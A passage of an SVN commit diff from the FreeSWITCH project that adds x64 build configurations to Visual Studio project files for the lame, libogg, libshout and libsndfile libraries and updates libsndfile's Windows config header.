+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -306,6 +555,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\mpglib_interface.c"
@@ -321,6 +580,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -330,6 +599,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\newmdct.c"
@@ -345,6 +624,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -354,6 +643,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\presets.c"
@@ -369,6 +668,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -378,6 +687,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\psymodel.c"
@@ -393,6 +712,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -402,6 +731,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\quantize.c"
@@ -417,6 +756,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -426,6 +775,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\quantize_pvt.c"
@@ -441,6 +800,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -450,6 +819,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\reservoir.c"
@@ -465,6 +844,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -474,6 +863,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\set_get.c"
@@ -489,6 +888,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -498,6 +907,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\tables.c"
@@ -514,6 +933,17 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+						WarningLevel="1"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -524,6 +954,17 @@
 						WarningLevel="1"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+						WarningLevel="1"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\takehiro.c"
@@ -539,6 +980,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -548,6 +999,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\util.c"
@@ -563,6 +1024,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -572,6 +1043,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\vbrquantize.c"
@@ -587,6 +1068,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -596,6 +1087,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\VbrTag.c"
@@ -611,6 +1112,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -620,6 +1131,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\lame-3.97\libmp3lame\version.c"
@@ -635,6 +1156,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="2"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -644,6 +1175,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						Optimization="0"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 		<Filter

Property changes: freeswitch/branches/seven/libs/win32/libogg


Name: svn:ignore
   - Debug
*.user
Static_Debug
Release
Static_Release
   + Debug
*.user
Static_Debug
Release
Static_Release
x64

Modified: freeswitch/branches/seven/libs/win32/libogg/libogg.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/libogg/libogg.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/libogg/libogg.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -88,6 +91,76 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="..\..\libogg-1.1.3\include"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB"
+				StringPooling="true"
+				RuntimeLibrary="0"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Static_Release/ogg_static.pch"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libogg.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Static_Release/ogg_static.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -159,6 +232,76 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\libogg-1.1.3\include"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="1"
+				PrecompiledHeaderFile=".\Static_Debug/ogg_static.pch"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libogg.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Static_Debug/ogg_static.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -180,6 +323,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -188,6 +340,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\libogg-1.1.3\src\framing.c"
@@ -202,6 +363,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -210,6 +380,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 		<Filter

Property changes: freeswitch/branches/seven/libs/win32/libshout


Name: svn:ignore
   - Debug
*.idb
*.pdb
*.user
Release
Static_Debug
Static_Release
   + Debug
*.idb
*.pdb
*.user
Release
Static_Debug
Static_Release
x64

Modified: freeswitch/branches/seven/libs/win32/libshout/libshout.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/libshout/libshout.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/libshout/libshout.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -85,6 +88,73 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories=".\,..\..\libshout-2.2.2\src,..\..\libshout-2.2.2\include,..\..\libogg-1.1.3\include,..\..\pthreads-w32-2-7-0-release,..\..\libshout-2.2.2\win32\include"
+				PreprocessorDefinitions="WIN32;_LIB;_WIN32;VERSION=\&quot;2.0.0\&quot;;LIBSHOUT_MAJOR=2;LIBSHOUT_MINOR=0;LIBSHOUT_MICRO=0;HAVE_WINSOCK2_H;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				StringPooling="true"
+				RuntimeLibrary="0"
+				EnableFunctionLevelLinking="true"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libshout.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -153,6 +223,73 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".\,..\..\libshout-2.2.2\src,..\..\libshout-2.2.2\include,..\..\libogg-1.1.3\include,..\..\pthreads-w32-2-7-0-release,..\..\libshout-2.2.2\win32\include"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;_WIN32;VERSION=\&quot;2.0.0\&quot;;LIBSHOUT_MAJOR=2;LIBSHOUT_MINOR=0;LIBSHOUT_MICRO=0;HAVE_WINSOCK2_H;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="1"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libshout.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Property changes: freeswitch/branches/seven/libs/win32/libsndfile


Name: svn:ignore
   - Debug
Release
*.ncb
*.user
*.bak
debug
   + Debug
Release
*.ncb
*.user
*.bak
debug
x64

Deleted: freeswitch/branches/seven/libs/win32/libsndfile/common.c

Modified: freeswitch/branches/seven/libs/win32/libsndfile/config.h (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/libsndfile/config.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/libsndfile/config.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -263,7 +263,7 @@
 #define USE_WINDOWS_API 1
 
 /* Version number of package */
-#define VERSION "1.0.16"
+#define VERSION "1.0.18"
 
 /* Number of bits in a file offset, on hosts where this is settable. */
 /* #undef _FILE_OFFSET_BITS */
@@ -274,11 +274,14 @@
 /* Define for large files, on AIX-style hosts. */
 /* #undef _LARGE_FILES */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 78a733c0-a430-46bd-81ab-4e479fbcffac
-*/
+#include <stddef.h>
 
+typedef __int32 int32_t;
+typedef intptr_t ssize_t;
+typedef unsigned __int16 uint16_t;
+typedef unsigned __int32 uint32_t;
+
+#define __func__ __FUNCTION__
+#define snprintf _snprintf
+
+#include <float_cast.h>
\ No newline at end of file

Modified: freeswitch/branches/seven/libs/win32/libsndfile/libsndfile.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/libsndfile/libsndfile.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/libsndfile/libsndfile.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="0"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UseUnicodeResponseFiles="true"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\libsndfile\src;."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;inline=__inline;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="1"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -142,6 +210,69 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="0"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UseUnicodeResponseFiles="true"
+				AdditionalIncludeDirectories="..\..\libsndfile\src;."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;inline=__inline;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="1"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -164,6 +295,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\libsndfile\src\audio_detect.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\libsndfile\src\avr.c"
 				>
 			</File>
@@ -176,11 +311,15 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\libsndfile\src\chunk.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\libsndfile\src\command.c"
 				>
 			</File>
 			<File
-				RelativePath=".\common.c"
+				RelativePath="..\..\libsndfile\src\common.c"
 				>
 			</File>
 			<File
@@ -224,6 +363,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						ObjectFile="$(IntDir)\$(InputName)1.obj"
+						XMLDocumentationFileName="$(IntDir)\$(InputName)1.xdc"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -232,6 +380,15 @@
 						XMLDocumentationFileName="$(IntDir)\$(InputName)1.xdc"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						ObjectFile="$(IntDir)\$(InputName)1.obj"
+						XMLDocumentationFileName="$(IntDir)\$(InputName)1.xdc"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\libsndfile\src\gsm610.c"
@@ -246,6 +403,14 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\libsndfile\src\ima_oki_adpcm.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\libsndfile\src\ima_oki_adpcm.h"
+				>
+			</File>
+			<File
 				RelativePath="..\..\libsndfile\src\ircam.c"
 				>
 			</File>
@@ -258,6 +423,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\libsndfile\src\mpc2k.c"
+				>
+			</File>
+			<File
